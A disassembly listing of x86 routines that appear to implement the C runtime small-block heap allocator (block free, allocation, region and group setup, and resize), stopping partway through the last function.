loc_41AEBD:				; CODE XREF: sub_41ADB4+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41AECF
		mov	edx, esi

loc_41AECF:				; CODE XREF: sub_41ADB4+117j
		cmp	ebx, edx
		jz	short loc_41AF36
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41AF1E
		cmp	ebx, 20h
		jnb	short loc_41AEFF
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41AF1E
; ---------------------------------------------------------------------------

loc_41AEFF:				; CODE XREF: sub_41ADB4+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41AF1E:				; CODE XREF: sub_41ADB4+128j
					; sub_41ADB4+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41AF36:				; CODE XREF: sub_41ADB4+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41AF3E
; ---------------------------------------------------------------------------

loc_41AF3B:				; CODE XREF: sub_41ADB4+EDj
		mov	ebx, [ebp+arg_0]

loc_41AF3E:				; CODE XREF: sub_41ADB4+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41AF4C
		cmp	ebx, edx
		jz	loc_41AFCD

loc_41AF4C:				; CODE XREF: sub_41ADB4+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41AFCD
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41AFA4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AF93
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41AF93:				; CODE XREF: sub_41ADB4+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41AFCD
; ---------------------------------------------------------------------------

loc_41AFA4:				; CODE XREF: sub_41ADB4+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AFBA
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41AFBA:				; CODE XREF: sub_41ADB4+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41AFCD:				; CODE XREF: sub_41ADB4+192j
					; sub_41ADB4+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41B0D8
		mov	eax, dword_4CF014
		test	eax, eax
		jz	loc_41B0CA
		mov	ecx, dword_4CF00C
		mov	esi, dword_4241B0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4CF00C
		mov	eax, dword_4CF014
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4CF014
		mov	ecx, dword_4CF00C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4CF014
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4CF014
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41B05B
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4CF014

loc_41B05B:				; CODE XREF: sub_41ADB4+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41B0CA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4CF014
		push	dword ptr [eax+10h]
		push	0
		push	dword_4CF024
		nop
		call	near ptr 270039Ch
		mov	eax, dword_4CF018
		mov	edx, dword_4CF01C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4CF014
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4182C0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4CF018
		cmp	eax, dword_4CF014
		jbe	short loc_41B0C0
		sub	[ebp+arg_0], 14h

loc_41B0C0:				; CODE XREF: sub_41ADB4+306j
		mov	eax, dword_4CF01C
		mov	dword_4CF010, eax

loc_41B0CA:				; CODE XREF: sub_41ADB4+234j
					; sub_41ADB4+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4CF00C, edi
		mov	dword_4CF014, eax

loc_41B0D8:				; CODE XREF: sub_41ADB4+38j
					; sub_41ADB4+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ADB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0DD	proc near		; CODE XREF: sub_417BC7+18p
					; sub_41944F+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4CF018
		mov	edx, dword_4CF01C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41B11D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41B12D
; ---------------------------------------------------------------------------

loc_41B11D:				; CODE XREF: sub_41B0DD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41B12D:				; CODE XREF: sub_41B0DD+3Ej
		mov	eax, dword_4CF010
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B154

loc_41B13B:				; CODE XREF: sub_41B0DD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B154
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41B13B

loc_41B154:				; CODE XREF: sub_41B0DD+5Cj
					; sub_41B0DD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41B1D2
		mov	ebx, edx

loc_41B15B:				; CODE XREF: sub_41B0DD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B177
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B175
		add	ebx, 14h
		jmp	short loc_41B15B
; ---------------------------------------------------------------------------

loc_41B175:				; CODE XREF: sub_41B0DD+91j
		cmp	ebx, eax

loc_41B177:				; CODE XREF: sub_41B0DD+83j
		jnz	short loc_41B1D2

loc_41B179:				; CODE XREF: sub_41B0DD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41B18F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B18C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41B179
; ---------------------------------------------------------------------------

loc_41B18C:				; CODE XREF: sub_41B0DD+A5j
		cmp	ebx, [ebp+var_4]

loc_41B18F:				; CODE XREF: sub_41B0DD+9Fj
		jnz	short loc_41B1B7
		mov	ebx, edx

loc_41B193:				; CODE XREF: sub_41B0DD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B1A7
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B1A5
		add	ebx, 14h
		jmp	short loc_41B193
; ---------------------------------------------------------------------------

loc_41B1A5:				; CODE XREF: sub_41B0DD+C1j
		cmp	ebx, eax

loc_41B1A7:				; CODE XREF: sub_41B0DD+BBj
		jnz	short loc_41B1B7
		call	sub_41B3E6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41B1CB

loc_41B1B7:				; CODE XREF: sub_41B0DD:loc_41B18Fj
					; sub_41B0DD:loc_41B1A7j
		push	ebx
		call	sub_41B497
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41B1D2

loc_41B1CB:				; CODE XREF: sub_41B0DD+D8j
		xor	eax, eax
		jmp	loc_41B3E1
; ---------------------------------------------------------------------------

loc_41B1D2:				; CODE XREF: sub_41B0DD+7Aj
					; sub_41B0DD:loc_41B177j ...
		mov	dword_4CF010, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41B1F9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B230

loc_41B1F9:				; CODE XREF: sub_41B0DD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41B22D

loc_41B216:				; CODE XREF: sub_41B0DD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41B216

loc_41B22D:				; CODE XREF: sub_41B0DD+137j
		mov	edx, [ebp+var_4]

loc_41B230:				; CODE XREF: sub_41B0DD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41B259
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41B259:				; CODE XREF: sub_41B0DD+16Dj
					; sub_41B0DD+183j
		test	ecx, ecx
		jl	short loc_41B262
		shl	ecx, 1
		inc	edi
		jmp	short loc_41B259
; ---------------------------------------------------------------------------

loc_41B262:				; CODE XREF: sub_41B0DD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41B27F
		push	3Fh
		pop	esi

loc_41B27F:				; CODE XREF: sub_41B0DD+19Dj
		cmp	esi, edi
		jz	loc_41B394
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B2F0
		cmp	edi, 20h
		jge	short loc_41B2BF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------

loc_41B2BF:				; CODE XREF: sub_41B0DD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------

loc_41B2ED:				; CODE XREF: sub_41B0DD+1D6j
					; sub_41B0DD+203j
		mov	ebx, [ebp+arg_0]

loc_41B2F0:				; CODE XREF: sub_41B0DD+1B0j
					; sub_41B0DD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41B3A0
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B391
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41B362
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B350
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41B350:				; CODE XREF: sub_41B0DD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41B391
; ---------------------------------------------------------------------------

loc_41B362:				; CODE XREF: sub_41B0DD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B37B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41B37B:				; CODE XREF: sub_41B0DD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41B391:				; CODE XREF: sub_41B0DD+24Ej
					; sub_41B0DD+283j
		mov	ecx, [ebp+var_8]

loc_41B394:				; CODE XREF: sub_41B0DD+1A4j
		test	ecx, ecx
		jz	short loc_41B3A3
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41B3A3
; ---------------------------------------------------------------------------

loc_41B3A0:				; CODE XREF: sub_41B0DD+229j
		mov	ecx, [ebp+var_8]

loc_41B3A3:				; CODE XREF: sub_41B0DD+2B9j
					; sub_41B0DD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41B3D9
		cmp	ebx, dword_4CF014
		jnz	short loc_41B3D9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4CF00C
		jnz	short loc_41B3D9
		and	dword_4CF014, 0

loc_41B3D9:				; CODE XREF: sub_41B0DD+2E0j
					; sub_41B0DD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41B3E1:				; CODE XREF: sub_41B0DD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B0DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3E6	proc near		; CODE XREF: sub_41B0DD+CCp
		mov	eax, dword_4CF018
		mov	ecx, dword_4CF008
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41B429
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4CF01C
		push	edi
		push	dword_4CF024
		nop
		call	near ptr 2810000h
		cmp	eax, edi
		jz	short loc_41B479
		add	dword_4CF008, 10h
		mov	dword_4CF01C, eax
		mov	eax, dword_4CF018

loc_41B429:				; CODE XREF: sub_41B3E6+11j
		mov	ecx, dword_4CF01C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4CF024
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 2710000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41B479
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2840875h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41B47D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4CF024
		call	near ptr 270039Ch
		nop

loc_41B479:				; CODE XREF: sub_41B3E6+30j
					; sub_41B3E6+67j
		xor	eax, eax
		jmp	short loc_41B494
; ---------------------------------------------------------------------------

loc_41B47D:				; CODE XREF: sub_41B3E6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4CF018
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41B494:				; CODE XREF: sub_41B3E6+95j
		pop	edi
		pop	esi
		retn
sub_41B3E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B497	proc near		; CODE XREF: sub_41B0DD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41B4A9:				; CODE XREF: sub_41B497+19j
		test	eax, eax
		jl	short loc_41B4B2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41B4A9
; ---------------------------------------------------------------------------

loc_41B4B2:				; CODE XREF: sub_41B497+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41B4C7:				; CODE XREF: sub_41B497+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41B4C7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2840875h
		test	eax, eax
		jnz	short loc_41B4FA
		or	eax, 0FFFFFFFFh
		jmp	loc_41B58D
; ---------------------------------------------------------------------------

loc_41B4FA:				; CODE XREF: sub_41B497+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41B540
		lea	eax, [edi+10h]

loc_41B507:				; CODE XREF: sub_41B497+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41B507

loc_41B540:				; CODE XREF: sub_41B497+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41B57D
		or	[eax+4], edi

loc_41B57D:				; CODE XREF: sub_41B497+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41B58D:				; CODE XREF: sub_41B497+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B592	proc near		; CODE XREF: sub_41944F+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41B740
		test	bl, 1
		jnz	loc_41B739
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41B739
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41B609
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41B609:				; CODE XREF: sub_41B592+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41B659
		cmp	ecx, 20h
		jnb	short loc_41B635
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B659
; ---------------------------------------------------------------------------

loc_41B635:				; CODE XREF: sub_41B592+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41B659:				; CODE XREF: sub_41B592+7Dj
					; sub_41B592+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41B727
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41B693
		push	3Fh
		pop	edi

loc_41B693:				; CODE XREF: sub_41B592+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41B715
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41B6EC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B6DF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41B6DF:				; CODE XREF: sub_41B592+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41B711
; ---------------------------------------------------------------------------

loc_41B6EC:				; CODE XREF: sub_41B592+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B702
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41B702:				; CODE XREF: sub_41B592+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41B711:				; CODE XREF: sub_41B592+158j
		shr	edx, cl
		or	[eax], edx

loc_41B715:				; CODE XREF: sub_41B592+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41B72A
; ---------------------------------------------------------------------------

loc_41B727:				; CODE XREF: sub_41B592+E5j
		mov	edx, [ebp+arg_4]

loc_41B72A:				; CODE XREF: sub_41B592+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41B880
; ---------------------------------------------------------------------------

loc_41B739:				; CODE XREF: sub_41B592+52j
					; sub_41B592+5Cj
		xor	eax, eax
		jmp	loc_41B883
; ---------------------------------------------------------------------------

loc_41B740:				; CODE XREF: sub_41B592+49j
		jge	loc_41B880
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41B76B
		push	3Fh
		pop	esi

loc_41B76B:				; CODE XREF: sub_41B592+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41B7FA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B784
		push	3Fh
		pop	esi

loc_41B784:				; CODE XREF: sub_41B592+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41B7D3
		cmp	esi, 20h
		jnb	short loc_41B7AF
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B7D0
; ---------------------------------------------------------------------------

loc_41B7AF:				; CODE XREF: sub_41B592+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41B7D0:				; CODE XREF: sub_41B592+214j
					; sub_41B592+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41B7D3:				; CODE XREF: sub_41B592+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B7FA
		push	3Fh
		pop	esi

loc_41B7FA:				; CODE XREF: sub_41B592+1DDj
					; sub_41B592+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41B877
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41B84E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B841
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41B841:				; CODE XREF: sub_41B592+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
